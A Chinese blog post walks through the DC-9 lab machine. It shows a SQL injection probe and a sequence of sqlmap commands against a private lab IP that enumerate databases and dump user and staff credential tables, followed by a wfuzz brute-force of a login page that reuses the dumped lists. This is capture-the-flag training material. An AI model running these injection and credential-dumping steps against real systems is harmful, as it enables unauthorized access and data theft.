首页 > 数据库 >SQLMAP系列强化

SQLMAP系列强化

时间:2022-08-17 22:12:42浏览次数:81  
标签:SQLMAP sqlmap 系列 -- results 192.168 http 强化 php

案例1:DC-9

图1:

  1. 尝试 ‘ or 1=1 --+        //判断存在注入
  2. kali中使用sqlmap工具跑就完了

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"    //同样先判断是否存在sql注入

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  --dbs     //查看所有的库,发现Staff库,Users库

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  --current-db    //查看当前连接的数据库,发现为Staff库

判断先通过Users库入手

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  -D users --tables   //查询User库中存在的表,发现UserDetails表

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  -D users  -T UserDetails --dump   //查询表中数据,发现大量用户及密码的表格

将表中用户名密码复制到notepad++,按ALT键复制用户名密码每列的数据到notepad并使用替换空格去掉空格保存为pass-dict,user-dict字典

使用fuzz爆破——通过上述两个字典

wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"

结果未成功,只能通过staff表下手

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  -D Staff --tables   //查询Staff 库中存在的表,发现user表

sqlmap -u "http://192.168.178.135/results.php" --data "search=1"  -D Staff -T user --dump   //查询表中数据,发现密码并按Y进行MD5解密.

从而得到图2的用户名密码

图2:

 

其他相关参看:sqlmap命令详解 - tooltime - 博客园 (cnblogs.com)

标签:SQLMAP,sqlmap,系列,--,results,192.168,http,强化,php
From: https://www.cnblogs.com/boomomg/p/16596957.html

相关文章

  • 港队系列算法、数据结构
    写在前面这两个东西其实并没有什么联系,但是因为都是由@dd_d首创的,所以写在一起。Update:不想新开博客了,所以以后dd_d有什么新发明就直接在这里更新了。港队线段......
  • Python入门系列(一)安装环境
    python是什么python是一门很受欢迎的语言,除了不能生孩子以外,其它都可以做。它擅长的领域是脚本工具和科学数据这一块,比如大数据,数据分析什么的。python安装为了演示和......
  • 摸鱼系列之idea摸鱼插件推荐
    前言作为一枚程序员,上班时候正撸着代码呢,撸不出代码了,没灵感了,看需求念头不通达了,脑瓜里蹦不出一丁点火花了,这时候怎么办?程序在运行,还要好几分钟,等待时间里,白白浪费了,玩......
  • Mysql 系列 | procedure(存储过程)
    存储过程是实现特定功能的语句集合,编译后存在数据库中。通过存储过程的名字,并给定参数来调用。创建createprocedure过程名([IN|OUT|INOUT参数名数据类型])begin......
  • 干货:Easy系列各视频平台云台控制功能的使用注意事项汇总
    TSINGSEE青犀视频旗下Easy系列视频平台,比如EasyCVR、EasyNVR、EasyGBS等,均可支持对摄像头的云台控制,包括摄像头的焦距调整、方向调整等。在视频监控场景中,摄像头的云台控制......
  • 【区块链与隐私保护系列】基于Linux的TensorFlow Federated安装与使用
    一、TensorflowTederated安装基础环境:操作系统:Ubuntu20.04首先,安装Anaconda:具体的安装步骤可以查看这篇文章,亲测实用,https://blog.csdn.net/ITBigGod/artic......
  • Let's Go系列---channel的用法及原理
    基本语法创建channelch1:=make(chanstruct{})ch2:=make(chanint,10)读写channel从channel中读取数据叫做recv;向channel写数据叫做send。//发送数据到channel......
  • Java多线程开发系列之五:Springboot 中异步请求方法的使用
    Springboot中异步线程的使用在过往的后台开发中,我们往往使用java自带的线程或线程池,来进行异步的调用。这对于效果来说没什么,甚至可以让开发人员对底层的状况更清晰,但是对......
  • Azure LSv3系列VM 自动挂载NVMe本地磁盘
    Azure的Lsv3系列虚拟机具有高吞吐量、低延迟、直接映射的本地NVMe存储。这些VM采用第三代Intel®Xeon®Platinum8370C(IceLake)处理器。Lsv3系列VM的规格......
  • EMAS Serverless系列~4步教你快速搭建小程序
    体验简介本实验基于EMASServerless的云函数、云数据库、云存储等云服务能力一站式快速开发小程序《私人云相册》。Demo主要包括如下功能:1相册管理2上传相片3每......